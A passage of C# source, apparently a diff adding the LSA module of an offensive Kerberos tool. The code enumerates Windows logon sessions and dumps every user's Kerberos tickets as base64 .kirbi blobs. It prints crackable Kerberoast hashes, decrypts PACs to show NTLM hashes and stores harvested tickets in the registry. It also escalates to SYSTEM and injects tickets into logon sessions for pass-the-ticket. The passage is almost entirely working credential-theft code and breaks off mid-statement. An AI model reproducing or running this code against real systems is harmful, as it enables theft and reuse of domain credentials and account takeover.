Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack); + + // STEP 1 - enumerate all current longon session IDs (LUID) + // if not elevated, this returns the current user's LUID + // if elevated, this returns ALL LUIDs + foreach (var luid in EnumerateLogonSessions()) + { + // if we're targeting a specific LUID, check and skip if needed + if (((ulong)targetLuid != 0) && (luid != targetLuid)) + continue; + + // STEP 2 - get the actual data for this logon session (username, domain, logon time, etc.) + var logonSessionData = new LogonSessionData(); + try + { + logonSessionData = GetLogonSessionData(luid); + } + catch + { + continue; + } + + // start building the result object we want + SESSION_CRED sessionCred = new SESSION_CRED(); + sessionCred.LogonSession = logonSessionData; + sessionCred.Tickets = new List(); + + // phase 1 of targeting + + // exclude computer accounts unless instructed otherwise + if (!includeComputerAccounts && Regex.IsMatch(logonSessionData.Username, ".*\\$$")) + continue; + // if we're enumerating tickets/logon sessions for a specific user + if (!String.IsNullOrEmpty(targetUser) && !Regex.IsMatch(logonSessionData.Username, Regex.Escape(targetUser), RegexOptions.IgnoreCase)) + continue; + + var ticketsPointer = IntPtr.Zero; + var returnBufferLength = 0; + var protocalStatus = 0; + + var ticketCacheRequest = new Interop.KERB_QUERY_TKT_CACHE_REQUEST(); + var ticketCacheResponse = new Interop.KERB_QUERY_TKT_CACHE_RESPONSE(); + Interop.KERB_TICKET_CACHE_INFO_EX ticketCacheResult; + + // input object for querying the ticket cache for a specific logon ID + ticketCacheRequest.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheExMessage; + if (Helpers.IsHighIntegrity()) + { + ticketCacheRequest.LogonId = logonSessionData.LogonID; + } + else + { + // if we're not elevated, we have to have a LUID of 0 here to prevent failure + ticketCacheRequest.LogonId = new LUID(); + } + + var tQueryPtr = Marshal.AllocHGlobal(Marshal.SizeOf(ticketCacheRequest)); + Marshal.StructureToPtr(ticketCacheRequest, tQueryPtr, false); + + // STEP 3 - query LSA, specifying we want information for the ticket cache for this particular LUID + retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, tQueryPtr, + Marshal.SizeOf(ticketCacheRequest), out ticketsPointer, out returnBufferLength, + out protocalStatus); + + if (retCode != 0) + { + throw new NtException(retCode); + } + + if (ticketsPointer != IntPtr.Zero) + { + // parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure + ticketCacheResponse = (Interop.KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure( + (System.IntPtr)ticketsPointer, typeof(Interop.KERB_QUERY_TKT_CACHE_RESPONSE)); + var count2 = ticketCacheResponse.CountOfTickets; + + if (count2 != 0) + { + bool krbtgtFound = false; // for sessions with multiple TGTs (krbtgt service targets), only include one ticket + + // get the size of the structures we're iterating over + var dataSize = Marshal.SizeOf(typeof(Interop.KERB_TICKET_CACHE_INFO_EX)); + + for (var j = 0; j < count2; j++) + { + // iterate through the result structures + var currTicketPtr = (IntPtr)(long)((ticketsPointer.ToInt64() + (int)(8 + j * dataSize))); + + // parse the new ptr to the appropriate structure + ticketCacheResult = (Interop.KERB_TICKET_CACHE_INFO_EX)Marshal.PtrToStructure( + currTicketPtr, typeof(Interop.KERB_TICKET_CACHE_INFO_EX)); + + KRB_TICKET ticket = new KRB_TICKET(); + ticket.StartTime = DateTime.FromFileTime(ticketCacheResult.StartTime); + ticket.EndTime = DateTime.FromFileTime(ticketCacheResult.EndTime); + ticket.RenewTime = DateTime.FromFileTime(ticketCacheResult.RenewTime); + ticket.TicketFlags = (Interop.TicketFlags)ticketCacheResult.TicketFlags; + ticket.EncryptionType = ticketCacheResult.EncryptionType; + ticket.ServerName = Marshal.PtrToStringUni(ticketCacheResult.ServerName.Buffer, ticketCacheResult.ServerName.Length / 2); + ticket.ServerRealm = Marshal.PtrToStringUni(ticketCacheResult.ServerRealm.Buffer, ticketCacheResult.ServerRealm.Length / 2); + ticket.ClientName = Marshal.PtrToStringUni(ticketCacheResult.ClientName.Buffer, ticketCacheResult.ClientName.Length / 2); + ticket.ClientRealm = Marshal.PtrToStringUni(ticketCacheResult.ClientRealm.Buffer, ticketCacheResult.ClientRealm.Length / 2); + + bool includeTicket = true; + + if ( !String.IsNullOrEmpty(targetService) && !Regex.IsMatch(ticket.ServerName, String.Format(@"^{0}/.*", Regex.Escape(targetService)), RegexOptions.IgnoreCase)) + { + includeTicket = false; + } + if (!String.IsNullOrEmpty(targetServer) && !Regex.IsMatch(ticket.ServerName, String.Format(@".*/{0}", Regex.Escape(targetServer)), RegexOptions.IgnoreCase)) + { + includeTicket = false; + } + + if (Regex.IsMatch(ticket.ServerName, @"^krbtgt/.*", RegexOptions.IgnoreCase)) + { + if(krbtgtFound) + { + includeTicket = false; + } + else + { + krbtgtFound = true; + } + } + + if (includeTicket) + { + if (extractTicketData) + { + // STEP 4 - query LSA again, specifying we want the actual ticket data for this particular ticket (.kirbi/KRB_CRED) + ticket.KrbCred = ExtractTicket(lsaHandle, authPack, ticketCacheRequest.LogonId, ticket.ServerName, ticketCacheResult.TicketFlags); + } + sessionCred.Tickets.Add(ticket); + } + } + } + } + + // cleanup + Interop.LsaFreeReturnBuffer(ticketsPointer); + Marshal.FreeHGlobal(tQueryPtr); + + sessionCreds.Add(sessionCred); + } + // disconnect from LSA + Interop.LsaDeregisterLogonProcess(lsaHandle); + + return sessionCreds; + } + catch (Exception ex) + { + Console.WriteLine("[X] Exception: {0}", ex); + return null; + } + } + + #endregion + + + #region Output + + public static void DisplaySessionCreds(List sessionCreds, TicketDisplayFormat displayFormat, bool showAll = false) + { + // displays a given .kirbi (KRB_CRED) object, with display options + + // sessionCreds - list of one or more SESSION_CRED objects + // displayFormat - the TicketDisplayFormat to display the tickets in ("Triage" table, traditional "Klist", or "Full" for full ticket extraction) + // displayTGT - shortened display for monitor/harvesting + // displayB64ticket - display a base64 encoded version of the ticket + // extractKerberoastHash - extract out the rc4_hmac "kerberoastable" hash, if possible + + // used for table output + var table = new ConsoleTable("LUID", "UserName", "Service", "EndTime"); + + foreach (var sessionCred in sessionCreds) + { + // don't display logon sessions with no tickets + if( (sessionCred.Tickets.Count == 0) && (!showAll)) + { + continue; + } + + if ( (displayFormat == TicketDisplayFormat.Full) || displayFormat == TicketDisplayFormat.Klist) + { + Console.WriteLine(" UserName : {0}", sessionCred.LogonSession.Username); + Console.WriteLine(" Domain : {0}", sessionCred.LogonSession.LogonDomain); + Console.WriteLine(" LogonId : {0}", sessionCred.LogonSession.LogonID); + Console.WriteLine(" UserSID : {0}", sessionCred.LogonSession.Sid); + Console.WriteLine(" AuthenticationPackage : {0}", sessionCred.LogonSession.AuthenticationPackage); + Console.WriteLine(" LogonType : {0}", sessionCred.LogonSession.LogonType); + Console.WriteLine(" LogonTime : {0}", sessionCred.LogonSession.LogonTime); + Console.WriteLine(" LogonServer : {0}", sessionCred.LogonSession.LogonServer); + Console.WriteLine(" LogonServerDNSDomain : {0}", sessionCred.LogonSession.DnsDomainName); + Console.WriteLine(" UserPrincipalName : {0}\r\n", sessionCred.LogonSession.Upn); + } + + for(int j = 0; j < sessionCred.Tickets.Count; j++) + { + var ticket = sessionCred.Tickets[j]; + + if (displayFormat == TicketDisplayFormat.Triage) + { + table.AddRow(sessionCred.LogonSession.LogonID.ToString(), String.Format("{0} @ {1}", ticket.ClientName, ticket.ClientRealm), ticket.ServerName, ticket.EndTime.ToString()); + } + else if (displayFormat == TicketDisplayFormat.Klist) + { + Console.WriteLine(" [{0:x}] - 0x{1:x} - {2}", j, (int)ticket.EncryptionType, (Interop.KERB_ETYPE)ticket.EncryptionType); + Console.WriteLine(" Start/End/MaxRenew: {0} ; {1} ; {2}", ticket.StartTime, ticket.EndTime, ticket.RenewTime); + Console.WriteLine(" Server Name : {0} @ {1}", ticket.ServerName, ticket.ServerRealm); + Console.WriteLine(" Client Name : {0} @ {1}", ticket.ClientName, ticket.ClientRealm); + Console.WriteLine(" Flags : {0} ({1:x})\r\n", ticket.TicketFlags, (UInt32)ticket.TicketFlags); + } + else if (displayFormat == TicketDisplayFormat.Full) + { + if (ticket.KrbCred != null) + { + DisplayTicket(ticket.KrbCred, 4, false, true, false); + } + } + } + } + + if (displayFormat == TicketDisplayFormat.Triage) + { + // write out the table + table.Write(); + } + } + + public static void DisplayTicket(KRB_CRED cred, int indentLevel = 2, bool displayTGT = false, bool displayB64ticket = false, bool extractKerberoastHash = false, bool nowrap = false, byte[] serviceKey = null, byte[] asrepKey = null, string serviceUser = "", string serviceDomain = "", byte[] krbKey = null) + { + // displays a given .kirbi (KRB_CRED) object, with display options + + // cred - the KRB_CRED object to display + // indentLevel - level of indent, default of 2 + // displayTGT - shortened display for monitor/harvesting + // displayB64ticket - display a base64 encoded version of the ticket + // extractKerberoastHash - extract out the rc4_hmac "kerberoastable" hash, if possible + // nowrap - don't wrap base64 ticket output + + var userName = string.Join("@", cred.enc_part.ticket_info[0].pname.name_string.ToArray()); + var sname = string.Join("/", cred.enc_part.ticket_info[0].sname.name_string.ToArray()); + var keyType = String.Format("{0}", (Interop.KERB_ETYPE)cred.enc_part.ticket_info[0].key.keytype); + var b64Key = Convert.ToBase64String(cred.enc_part.ticket_info[0].key.keyvalue); + var base64ticket = Convert.ToBase64String(cred.Encode().Encode()); + string indent = new string(' ', indentLevel); + string serviceName = sname.Split('/')[0]; + + + if (displayTGT) + { + // abbreviated display used for monitor/etc. + Console.WriteLine("{0}User : {1}@{2}", indent, userName, cred.enc_part.ticket_info[0].prealm); + Console.WriteLine("{0}StartTime : {1}", indent, cred.enc_part.ticket_info[0].starttime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + Console.WriteLine("{0}EndTime : {1}", indent, cred.enc_part.ticket_info[0].endtime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + Console.WriteLine("{0}RenewTill : {1}", indent, cred.enc_part.ticket_info[0].renew_till.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + Console.WriteLine("{0}Flags : {1}", indent, cred.enc_part.ticket_info[0].flags); + Console.WriteLine("{0}Base64EncodedTicket :\r\n", indent); + + if (false) + { + foreach (var line in Helpers.Split(base64ticket, 100)) + { + Console.WriteLine("{0} {1}", indent, line); + } + } + else + { + Console.WriteLine("{0} {1}", indent, base64ticket); + } + } + else + { + // full display with session key + Console.WriteLine("\r\n{0}ServiceName : {1}", indent, sname); + Console.WriteLine("{0}ServiceRealm : {1}", indent, cred.enc_part.ticket_info[0].srealm); + Console.WriteLine("{0}UserName : {1}", indent, userName); + Console.WriteLine("{0}UserRealm : {1}", indent, cred.enc_part.ticket_info[0].prealm); + Console.WriteLine("{0}StartTime : {1}", indent, cred.enc_part.ticket_info[0].starttime.ToLocalTime()); + Console.WriteLine("{0}EndTime : {1}", indent, cred.enc_part.ticket_info[0].endtime.ToLocalTime()); + Console.WriteLine("{0}RenewTill : {1}", indent, cred.enc_part.ticket_info[0].renew_till.ToLocalTime()); + Console.WriteLine("{0}Flags : {1}", indent, cred.enc_part.ticket_info[0].flags); + Console.WriteLine("{0}KeyType : {1}", indent, keyType); + Console.WriteLine("{0}Base64(key) : {1}", indent, b64Key); + + //We display the ASREP decryption key as this is needed for decrypting + //PAC_CREDENTIAL_INFO inside both the AS-REP and TGS-REP Tickets when + //PKINIT is used + if (asrepKey != null) + Console.WriteLine("{0}ASREP (key) : {1}", indent, Helpers.ByteArrayToString(asrepKey)); + + if (displayB64ticket) + { + // if we're displaying the base64 encoding of the ticket + Console.WriteLine("{0}Base64EncodedTicket :\r\n", indent); + if (false) + { + foreach (var line in Helpers.Split(base64ticket, 100)) + { + Console.WriteLine("{0} {1}", indent, line); + } + } + else + { + Console.WriteLine("{0} {1}", indent, base64ticket); + } + } + + else if (extractKerberoastHash && (serviceName != "krbtgt")) + { + // if this isn't a TGT, try to display a Kerberoastable hash + if (!keyType.Equals("rc4_hmac") && !keyType.Equals("aes256_cts_hmac_sha1")) + { + // can only display rc4_hmac as it doesn't have a salt. DES/AES keys require the user/domain as a salt, + // and we don't have the user account name that backs the requested SPN for the ticket, no no dice :( + Console.WriteLine("\r\n[!] Service ticket uses encryption key type '{0}', unable to extract hash and salt.", keyType); + } + else if (keyType.Equals("rc4_hmac")) + { + Roast.DisplayTGShash(cred); + } + else if (!String.IsNullOrEmpty(serviceUser)) + { + if (String.IsNullOrEmpty(serviceDomain)) + { + serviceDomain = cred.enc_part.ticket_info[0].prealm; + } + if (serviceUser.EndsWith("$")) + { + serviceUser = String.Format("host{0}.{1}", serviceUser.TrimEnd('$').ToLower(), serviceDomain.ToLower()); + } + Roast.DisplayTGShash(cred, false, serviceUser, serviceDomain); + } + else + { + Console.WriteLine("[!] AES256 in use but no '/serviceuser' passed, unable to generate crackable hash."); + } + } + } + + if (serviceKey != null) { + + try + { + var decryptedEncTicket = cred.tickets[0].Decrypt(serviceKey, asrepKey); + PACTYPE pt = decryptedEncTicket.GetPac(asrepKey); + if (pt == null) + { + Console.WriteLine("[X] Unable to get the PAC"); + return; + } + + if (krbKey == null && (serviceName == "krbtgt") && (cred.enc_part.ticket_info[0].srealm.ToUpper() == sname.Split('/')[1].ToUpper())) + { + krbKey = serviceKey; + } + var validated = decryptedEncTicket.ValidatePac(serviceKey, krbKey); + + Console.WriteLine("{0}Decrypted PAC :", indent); + + foreach(var pacInfoBuffer in pt.PacInfoBuffers) { + + if (pacInfoBuffer is ClientName cn) + { + Console.WriteLine("{0} ClientName :", indent); + Console.WriteLine("{0} Client Id : {1}", indent, cn.ClientId.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + Console.WriteLine("{0} Client Name : {1}", indent, cn.Name); + } + else if (pacInfoBuffer is UpnDns upnDns) + { + Console.WriteLine("{0} UpnDns :", indent); + Console.WriteLine("{0} DNS Domain Name : {1}", indent, upnDns.DnsDomainName); + Console.WriteLine("{0} UPN : {1}", indent, upnDns.Upn); + Console.WriteLine("{0} Flags : {1}", indent, upnDns.Flags); + } + else if (pacInfoBuffer is SignatureData sigData) + { + string validation = "VALID"; + int i2 = 0; + if (sigData.Type == PacInfoBufferType.ServerChecksum && !validated.Item1) + { + validation = "INVALID"; + } + else if (sigData.Type == PacInfoBufferType.KDCChecksum && !validated.Item2 && krbKey != null) + { + validation = "INVALID"; + } + else if (sigData.Type == PacInfoBufferType.TicketChecksum && krbKey != null && !validated.Item3) + { + validation = "INVALID"; + } + else if ((sigData.Type == PacInfoBufferType.KDCChecksum || sigData.Type == PacInfoBufferType.TicketChecksum) && krbKey == null) + { + validation = "UNVALIDATED"; + } + if (sigData.Type == PacInfoBufferType.KDCChecksum) + { + i2 = 3; + } + Console.WriteLine("{0} {1} {2}:", indent, sigData.Type.ToString(), new string(' ', i2)); + Console.WriteLine("{0} Signature Type : {1}", indent, sigData.SignatureType); + Console.WriteLine("{0} Signature : {1} ({2})", indent, Helpers.ByteArrayToString(sigData.Signature), validation); + } + else if (pacInfoBuffer is LogonInfo li) + { + Console.WriteLine("{0} LogonInfo :", indent); + try + { + Console.WriteLine("{0} LogonTime : {1}", indent, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.LogonTime.LowDateTime | ((long)li.KerbValidationInfo.LogonTime.HighDateTime << 32)).ToLocalTime()); + } + catch + { + Console.WriteLine("{0} LogonTime : {1}", indent, li.KerbValidationInfo.LogonTime); + } + try + { + Console.WriteLine("{0} LogoffTime : {1}", indent, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.LogoffTime.LowDateTime | ((long)li.KerbValidationInfo.LogoffTime.HighDateTime << 32)).ToLocalTime()); + } + catch + { + Console.WriteLine("{0} LogoffTime : {1}", indent, li.KerbValidationInfo.LogoffTime); + } + try + { + Console.WriteLine("{0} KickOffTime : {1}", indent, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.KickOffTime.LowDateTime | ((long)li.KerbValidationInfo.KickOffTime.HighDateTime << 32)).ToLocalTime()); + } + catch + { + Console.WriteLine("{0} KickOffTime : {1}", indent, li.KerbValidationInfo.KickOffTime); + } + try + { + Console.WriteLine("{0} PasswordLastSet : {1}", indent, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordLastSet.LowDateTime | ((long)li.KerbValidationInfo.PasswordLastSet.HighDateTime << 32)).ToLocalTime()); + } + catch + { + Console.WriteLine("{0} PasswordLastSet : {1}", indent, li.KerbValidationInfo.PasswordLastSet); + } + try + { + Console.WriteLine("{0} PasswordCanChange : {1}", indent, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordCanChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordCanChange.HighDateTime << 32)).ToLocalTime()); + } + catch + { + Console.WriteLine("{0} PasswordCanChange : {1}", indent, li.KerbValidationInfo.PasswordCanChange); + } + try + { + Console.WriteLine("{0} PasswordMustChange : {1}", indent, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordMustChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordMustChange.HighDateTime << 32)).ToLocalTime()); + } + catch + { + Console.WriteLine("{0} PasswordMustChange : {1}", indent, li.KerbValidationInfo.PasswordMustChange); + } + Console.WriteLine("{0} EffectiveName : {1}", indent, li.KerbValidationInfo.EffectiveName); + Console.WriteLine("{0} FullName : {1}", indent, li.KerbValidationInfo.FullName); + Console.WriteLine("{0} LogonScript : {1}", indent, li.KerbValidationInfo.LogonScript); + Console.WriteLine("{0} ProfilePath : {1}", indent, li.KerbValidationInfo.ProfilePath); + Console.WriteLine("{0} HomeDirectory : {1}", indent, li.KerbValidationInfo.HomeDirectory); + Console.WriteLine("{0} HomeDirectoryDrive : {1}", indent, li.KerbValidationInfo.HomeDirectoryDrive); + Console.WriteLine("{0} LogonCount : {1}", indent, li.KerbValidationInfo.LogonCount); + Console.WriteLine("{0} BadPasswordCount : {1}", indent, li.KerbValidationInfo.BadPasswordCount); + Console.WriteLine("{0} UserId : {1}", indent, li.KerbValidationInfo.UserId); + Console.WriteLine("{0} PrimaryGroupId : {1}", indent, li.KerbValidationInfo.PrimaryGroupId); + Console.WriteLine("{0} GroupCount : {1}", indent, li.KerbValidationInfo.GroupCount); + if (li.KerbValidationInfo.GroupCount > 0) + { + Console.WriteLine("{0} Groups : {1}", indent, li.KerbValidationInfo.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + Console.WriteLine("{0} UserFlags : ({1}) {2}", indent, li.KerbValidationInfo.UserFlags, (Interop.PacUserFlags)li.KerbValidationInfo.UserFlags); + Console.WriteLine("{0} UserSessionKey : {1}", indent, Helpers.ByteArrayToString((byte[])(Array)li.KerbValidationInfo.UserSessionKey.data[0].data)); + Console.WriteLine("{0} LogonServer : {1}", indent, li.KerbValidationInfo.LogonServer); + Console.WriteLine("{0} LogonDomainName : {1}", indent, li.KerbValidationInfo.LogonDomainName); + Console.WriteLine("{0} LogonDomainId : {1}", indent, li.KerbValidationInfo.LogonDomainId?.GetValue()); + Console.WriteLine("{0} UserAccountControl : ({1}) {2}", indent, li.KerbValidationInfo.UserAccountControl, (Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl); + Console.WriteLine("{0} ExtraSIDCount : {1}", indent, li.KerbValidationInfo.SidCount); + if (li.KerbValidationInfo.SidCount > 0) + { + Console.WriteLine("{0} ExtraSIDs : {1}", indent, li.KerbValidationInfo.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + Console.WriteLine("{0} ResourceGroupCount : {1}", indent, li.KerbValidationInfo.ResourceGroupCount); + if (li.KerbValidationInfo.ResourceGroupCount > 0) + { + Console.WriteLine("{0} ResourceGroupSid : {1}", indent, li.KerbValidationInfo.ResourceGroupDomainSid?.GetValue()); + Console.WriteLine("{0} ResourceGroups : {1}", indent, li.KerbValidationInfo.ResourceGroupIds?.GetValue().Select(s => s.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + } + else if (pacInfoBuffer is PacCredentialInfo ci) + { + + Console.WriteLine("{0} CredentialInfo :", indent); + Console.WriteLine("{0} Version : {1}", indent, ci.Version); + Console.WriteLine("{0} EncryptionType : {1}", indent, ci.EncryptionType); + + if (ci.CredentialInfo.HasValue) + { + + Console.WriteLine("{0} CredentialData :", indent); + Console.WriteLine("{0} CredentialCount : {1}", indent, ci.CredentialInfo.Value.CredentialCount); + + foreach (var credData in ci.CredentialInfo.Value.Credentials) + { + string hash = ""; + if ("NTLM".Equals(credData.PackageName.ToString())) + { + int version = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 0); + int flags = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 4); + if (flags == 3) + { + hash = String.Format("{0}:{1}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(8).Take(16).ToArray()), Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray())); + } + else + { + hash = String.Format("{0}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray())); + } + } + else + { + hash = Helpers.ByteArrayToString((byte[])(Array)credData.Credentials); + } + + Console.WriteLine(" {0} : {1}", credData.PackageName, hash); + } + + } + else + { + Console.WriteLine("{0} CredentialData : *** NO KEY ***", indent); + } + } + else if (pacInfoBuffer is S4UDelegationInfo s4u) + { + Console.WriteLine("{0} S4UDelegationInfo :", indent); + Console.WriteLine("{0} S4U2ProxyTarget : {1}", indent, s4u.s4u.S4U2proxyTarget.ToString()); + Console.WriteLine("{0} TransitedListSize : {1}", indent, s4u.s4u.TransitedListSize); + Console.WriteLine("{0} S4UTransitedServices : {1}", indent, s4u.s4u.S4UTransitedServices.GetValue().Select(s => s.ToString()).Aggregate((cur, next) => cur + " <= " + next)); + } + else if (pacInfoBuffer is Requestor requestor) + { + Console.WriteLine("{0} Requestor :", indent); + Console.WriteLine("{0} RequestorSID : {1}", indent, requestor.RequestorSID.ToString()); + } + else if (pacInfoBuffer is Attributes att) + { + Console.WriteLine("{0} Attributes :", indent); + Console.WriteLine("{0} AttributeLength : {1}", indent, att.Length); + Console.WriteLine("{0} AttributeFlags : ({1}) {2}", indent, (int)att.Flags, att.Flags); + } + } + } + catch + { + Console.WriteLine("[!] Unable to decrypt the EncTicketPart using key: {0}", Helpers.ByteArrayToString(serviceKey)); + Console.WriteLine("[!] Check the right key was passed for the encryption type: {0}", (Interop.KERB_ETYPE)cred.tickets[0].enc_part.etype); + } + } + + Console.WriteLine(); + } + + public static void SaveTicketsToRegistry(List creds, string baseRegistryKey) + { + // saves an array of .kirbis to the registry + + string user = null; + RegistryKey basePath = null; + if (Helpers.IsSystem()) + { + user = "NT AUTHORITY\\SYSTEM"; + } + else + { + user = Environment.UserDomainName + "\\" + Environment.UserName; + }; + + try + { + // first,make sure the appropriate ACLs are set + Registry.LocalMachine.CreateSubKey(baseRegistryKey); + basePath = Registry.LocalMachine.OpenSubKey(baseRegistryKey, RegistryKeyPermissionCheck.ReadWriteSubTree); + var rs = basePath.GetAccessControl(); + var rar = new RegistryAccessRule( + user, + RegistryRights.FullControl, + InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, + PropagationFlags.None, + AccessControlType.Allow); + rs.AddAccessRule(rar); + basePath.SetAccessControl(rs); + } + catch + { + Console.WriteLine("[-] Error setting correct ACLs for HKLM:\\{0}", baseRegistryKey); + basePath = null; + } + if (basePath != null) + { + foreach (var cred in creds) + { + var userName = cred.enc_part.ticket_info[0].pname.name_string[0]; + var domainName = cred.enc_part.ticket_info[0].prealm; + var startTime = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].starttime); + var endTime = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].endtime); + var renewTill = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].renew_till); + var flags = cred.enc_part.ticket_info[0].flags; + var base64TGT = Convert.ToBase64String(cred.Encode().Encode()); + + var userData = basePath.CreateSubKey(userName + "@" + domainName); + + // Create the keys underneath this + userData.SetValue("Username", domainName + "\\" + userName); + userData.SetValue("StartTime", startTime); + userData.SetValue("EndTime", endTime); + userData.SetValue("RenewTill", renewTill); + userData.SetValue("Flags", flags); + userData.SetValue("Base64EncodedTicket", base64TGT); + } + Console.WriteLine("\r\n[*] Wrote {0} tickets to HKLM:\\{1}.", creds.Count, baseRegistryKey); + } + } + + #endregion + + + #region LogonSessions + + public static List EnumerateLogonSessions() + { + // returns a List of LUIDs representing current logon sessions + var luids = new List(); + + if (!Helpers.IsHighIntegrity()) + { + luids.Add(Helpers.GetCurrentLUID()); + } + + else + { + var ret = Interop.LsaEnumerateLogonSessions(out var count, out var luidPtr); + + if (ret != 0) + { + throw new Win32Exception(ret); + } + + for (ulong i = 0; i < count; i++) + { + var luid = (LUID)Marshal.PtrToStructure(luidPtr, typeof(LUID)); + luids.Add(luid); + luidPtr = (IntPtr)(luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID))); + } + Interop.LsaFreeReturnBuffer(luidPtr); + } + + return luids; + } + + public class LogonSessionData + { + public LUID LogonID; + public string Username; + public string LogonDomain; + public string AuthenticationPackage; + public Interop.LogonType LogonType; + public int Session; + public SecurityIdentifier Sid; + public DateTime LogonTime; + public string LogonServer; + public string DnsDomainName; + public string Upn; + } + + public static LogonSessionData GetLogonSessionData(LUID luid) + { + // gets additional logon session information for a given LUID + + var luidPtr = IntPtr.Zero; + var sessionDataPtr = IntPtr.Zero; + + try + { + luidPtr = Marshal.AllocHGlobal(Marshal.SizeOf(luid)); + Marshal.StructureToPtr(luid, luidPtr, false); + + var ret = Interop.LsaGetLogonSessionData(luidPtr, out sessionDataPtr); + if (ret != 0) + { + throw new Win32Exception((int)ret); + } + + var unsafeData = + (Interop.SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionDataPtr, + typeof(Interop.SECURITY_LOGON_SESSION_DATA)); + + return new LogonSessionData() + { + AuthenticationPackage = Marshal.PtrToStringUni(unsafeData.AuthenticationPackage.Buffer, unsafeData.AuthenticationPackage.Length / 2), + DnsDomainName = Marshal.PtrToStringUni(unsafeData.DnsDomainName.Buffer, unsafeData.DnsDomainName.Length / 2), + LogonDomain = Marshal.PtrToStringUni(unsafeData.LoginDomain.Buffer, unsafeData.LoginDomain.Length / 2), + LogonID = unsafeData.LoginID, + LogonTime = DateTime.FromFileTime((long)unsafeData.LoginTime), + //LogonTime = systime.AddTicks((long)unsafeData.LoginTime), + LogonServer = Marshal.PtrToStringUni(unsafeData.LogonServer.Buffer, unsafeData.LogonServer.Length / 2), + LogonType = (Interop.LogonType)unsafeData.LogonType, + Sid = (unsafeData.PSiD == IntPtr.Zero ? null : new SecurityIdentifier(unsafeData.PSiD)), + Upn = Marshal.PtrToStringUni(unsafeData.Upn.Buffer, unsafeData.Upn.Length / 2), + Session = (int)unsafeData.Session, + Username = Marshal.PtrToStringUni(unsafeData.Username.Buffer, unsafeData.Username.Length / 2), + }; + } + finally + { + if (sessionDataPtr != IntPtr.Zero) + Interop.LsaFreeReturnBuffer(sessionDataPtr); + + if (luidPtr != IntPtr.Zero) + Marshal.FreeHGlobal(luidPtr); + } + } + + #endregion + + + #region Import and Export + + public static void ImportTicket(byte[] ticket, LUID targetLuid) + { + // uses LsaCallAuthenticationPackage() with a message type of KERB_SUBMIT_TKT_REQUEST to submit a ticket + // for the current (or specified) logon session + + // straight from Vincent LE TOUX' work + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2925-L2971 + + var LsaHandle = IntPtr.Zero; + int AuthenticationPackage; + int ntstatus, ProtocalStatus; + + if ((ulong)targetLuid != 0) + { + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("[X] You need to be in high integrity to apply a ticket to a different logon session"); + return; + } + else + { + if (Helpers.IsSystem()) + { + // if we're already SYSTEM, we have the proper privilegess to get a Handle to LSA with LsaRegisterLogonProcessHelper + LsaHandle = LsaRegisterLogonProcessHelper(); + } + else + { + // elevated but not system, so gotta GetSystem() first + Helpers.GetSystem(); + // should now have the proper privileges to get a Handle to LSA + LsaHandle = LsaRegisterLogonProcessHelper(); + // we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token + Interop.RevertToSelf(); + } + } + } + else + { + // otherwise use the unprivileged connection with LsaConnectUntrusted + ntstatus = Interop.LsaConnectUntrusted(out LsaHandle); + } + + var inputBuffer = IntPtr.Zero; + IntPtr ProtocolReturnBuffer; + int ReturnBufferLength; + try + { + Interop.LSA_STRING_IN LSAString; + var Name = "kerberos"; + LSAString.Length = (ushort)Name.Length; + LSAString.MaximumLength = (ushort)(Name.Length + 1); + LSAString.Buffer = Name; + ntstatus = Interop.LsaLookupAuthenticationPackage(LsaHandle, ref LSAString, out AuthenticationPackage); + if (ntstatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ntstatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage); + return; + } + var request = new Interop.KERB_SUBMIT_TKT_REQUEST(); + request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage; + request.KerbCredSize = ticket.Length; + request.KerbCredOffset = Marshal.SizeOf(typeof(Interop.KERB_SUBMIT_TKT_REQUEST)); + + if ((ulong)targetLuid != 0) + { + Console.WriteLine("[*] Target LUID: 0x{0:x}", (ulong)targetLuid); + request.LogonId = targetLuid; + } + + var inputBufferSize = Marshal.SizeOf(typeof(Interop.KERB_SUBMIT_TKT_REQUEST)) + ticket.Length; + inputBuffer = Marshal.AllocHGlobal(inputBufferSize); + Marshal.StructureToPtr(request, inputBuffer, false); + Marshal.Copy(ticket, 0, new 